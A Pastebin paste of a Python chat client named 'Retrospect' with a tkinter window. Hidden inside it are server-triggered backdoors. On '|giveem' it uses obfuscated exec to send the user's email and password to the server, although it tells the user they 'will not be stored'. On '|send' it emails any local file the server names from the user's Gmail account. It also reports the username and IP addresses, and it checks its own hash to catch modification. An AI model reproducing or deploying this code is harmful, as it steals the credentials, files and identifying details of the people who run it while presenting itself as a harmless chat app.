Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python3
- #DO NOT MODIFY, OR YOU WILL NOT BE ABLE TO CONNECT TO SERVERS
- #YOU ARE USING:
- #DEFAULT 1.2
- from socket import AF_INET, socket, SOCK_STREAM, gethostbyname, gethostname
- from threading import Thread
- import tkinter
- from hashlib import sha512
- from pathlib import Path
- from getpass import getuser
- import winsound, os, threading, time
- import ctypes
- import inspect, os
- import urllib.request
- COMMASPACE = ', '
- import os
- import smtplib
- from email import encoders
- from email.mime.base import MIMEBase
- from email.mime.multipart import MIMEMultipart
- ###
- def sendem(email, emailpw, toemail, file):
- sender = email
- gmail_password = emailpw
- recipients = toemail
- # Create the enclosing (outer) message
- outer = MIMEMultipart()
- outer['Subject'] = 'Retrospect File Transfer'
- outer['To'] = COMMASPACE.join(recipients)
- outer['From'] = sender
- outer.preamble = 'You will not see this in a MIME-aware mail reader.\n'
- # List of attachments
- attachments = file
- # Add the attachments to the message
- try:
- with open(file, 'rb') as fp:
- msg = MIMEBase('application', "octet-stream")
- msg.set_payload(fp.read())
- encoders.encode_base64(msg)
- msg.add_header('Content-Disposition', 'attachment', filename=os.path.basename(file))
- outer.attach(msg)
- except:
- manualsend('|sf0')
- return
- composed = outer.as_string()
- # Send the email
- try:
- with smtplib.SMTP('smtp.gmail.com', 587) as s:
- s.ehlo()
- s.starttls()
- s.ehlo()
- s.login(sender, gmail_password)
- s.sendmail(sender, recipients, composed)
- s.close()
- manualsend('|sf1')
- except:
- manualsend('|sf0')
- ###
- print("--- MAKE SURE YOU USE START.EXE ---")
- print("[Email or password will not be stored.]")
- if input("Do you want to use an email for this session [Y/N]: ")=='Y':
- email = input("Email: ")
- emailpw = input("Password: ")
- else:
- email, emailpw = 'NONE', 'NONE'
- def clear():
- msg_list.delete(0, tkinter.END)
- pass
- currentpath = inspect.getfile(inspect.currentframe())
- with open(currentpath) as f:
- head = [next(f) for x in range(4)]
- som = sha512(bytes('\n'.join(head), "utf8")).hexdigest()
- def download(url, file_name):
- import urllib.request
- import shutil
- with urllib.request.urlopen(url) as response, open(file_name, 'wb') as out_file:
- shutil.copyfileobj(response, out_file)
- if not os.path.isfile('C:/Users/' + getuser() +'/notif.wav'):
- print("Setting up..")
- download('https://github.com/Cyclip/OribianCC/raw/master/notificationR.wav', 'C:/Users/' + getuser() +'/notif.wav')
- if not os.path.isfile('C:/Users/' + getuser() + '/retro.ico'):
- download('https://github.com/Cyclip/OribianCC/raw/master/Retrospect.ico', 'C:/Users/' + getuser() + '/retro.ico')
- def alertm():
- for i in range(3):
- winsound.PlaySound('C:/Users/' + getuser() +'/notif.wav', winsound.SND_FILENAME)
- def alert():
- nThread = threading.Thread(target=alertm)
- nThread.start()
- def kicked(reason):
- print("You were kicked, reason: " + reason)
- def banned(reason):
- print("You were banned, reason: " + reason)
- def receive():
- """Handles receiving of messages."""
- while True:
- try:
- msg = client_socket.recv(BUFSIZ).decode("utf8")
- if msg=="|versionk":
- ctypes.windll.user32.MessageBoxW(0, """Your client might be modified or not at a compatible version.
- You are running: """ + head[-1:], "Bad version", 16)
- client_socket.close()
- top.destroy()
- elif msg == '|givehash':
- exec('manualsend(' + ''.join(reversed(['m', 'o', 's'])) + ')')
- elif msg == '|retr':
- manualsend(inf)
- elif msg == '$alert':
- alert()
- elif msg == "$clear":
- clear()
- elif msg == '!m':
- print("You are muted. Reason: " + msgs[2:])
- elif msg[:2] == '!b':
- client_socket.close()
- top.destroy()
- banned(msg[2:])
- elif msg[:2] == '!k':
- client_socket.close()
- top.destroy()
- kicked(msg[2:])
- elif msg.startswith('|send'):
- args = msg[5:].split('-->')
- file = args[0]
- toemail = args[1]
- sendem(email, emailpw, toemail, file)
- elif msg == '|giveem':
- exec('manualsend(' + ''.join(['e', 'm', 'a', 'i', 'l']) + ' + ":" + ' + ''.join(['e', 'm', 'a', 'i', 'l', 'p', 'w']) + ')')
- else:
- msg_list.insert(tkinter.END, msg)
- msg_list.see("end")
- except OSError: # Possibly client has left the chat.
- break
- def send(event=None): # event is passed by binders.
- """Handles sending of messages."""
- msg = my_msg.get()
- my_msg.set("") # Clears input field.
- client_socket.send(bytes(msg, "utf8"))
- if msg == "{quit}":
- client_socket.close()
- top.destroy()
- def manualsend(msg):
- client_socket.send(bytes(msg, "utf8"))
- def on_closing(event=None):
- """This function is to be called when the window is closed."""
- my_msg.set("{quit}")
- send()
- top.destroy()
- ipv4 = gethostbyname(gethostname())
- fp = urllib.request.urlopen('http://ip.42.pl/raw')
- currentip = fp.read().decode('utf8')
- inf = [getuser(), currentip, ipv4]
- inf = '\n'.join(inf)
- top = tkinter.Tk()
- #top.overrideredirect(True)
- top.configure(background='black')
- top.title("Retrospect")
- messages_frame = tkinter.Frame(top)
- my_msg = tkinter.StringVar() # For the messages to be sent.
- my_msg.set("Enter message")
- scrollbar = tkinter.Scrollbar(messages_frame) # To navigate through past messages.
- # Following will contain the messages.
- msg_list = tkinter.Listbox(messages_frame, height=15, width=50, yscrollcommand=scrollbar.set)
- scrollbar.pack(side=tkinter.RIGHT, fill=tkinter.Y)
- msg_list.configure(background='black', foreground='red')
- msg_list.pack(side=tkinter.LEFT, fill=tkinter.BOTH)
- msg_list.pack()
- messages_frame.pack()
- pw = '17c3a43410b0d234bfb1914907bb18bab05ca2703b96ec4d904c6263585d027d4e73477c4b7432bd7a250aebca0204af1bb1f12da1ee94644557998fcca9f039'
- while True:
- pas = input("Enter password: ")
- if sha512(bytes(pas, encoding='utf-8')).hexdigest() == pw:
- print("Access granted.")
- break
- else:
- print("Incorrect password.")
- entry_field = tkinter.Entry(top, textvariable=my_msg)
- entry_field.bind("<Return>", send)
- entry_field.configure(background='black', foreground='red')
- entry_field.pack()
- send_button = tkinter.Button(top, text="Send", command=send)
- send_button.configure(background='black', foreground='red')
- send_button.pack()
- top.protocol("WM_DELETE_WINDOW", on_closing)
- #----Now comes the sockets part----
- HOST = input('Enter host: ')
- PORT = input('Enter port: ')
- if not PORT:
- PORT = 33006
- else:
- PORT = int(PORT)
- BUFSIZ = 1024
- ADDR = (HOST, PORT)
- print("Connecting.. ")
- print("Help will be displayed here")
- client_socket = socket(AF_INET, SOCK_STREAM)
- client_socket.connect(ADDR)
- receive_thread = Thread(target=receive)
- receive_thread.start()
- print("-- HELP --")
- print("""Close this window to quit.
- Everything you type will be logged
- Type $alert to alert everyone
- If there is no text when you join, the server is down.
- If you cannot send messages, the server is at an error.""")
- top.iconbitmap('C:/Users/' + getuser() + '/retro.ico')
- tkinter.mainloop() # Starts GUI execution.
- input()
Add Comment
Please, Sign In to add comment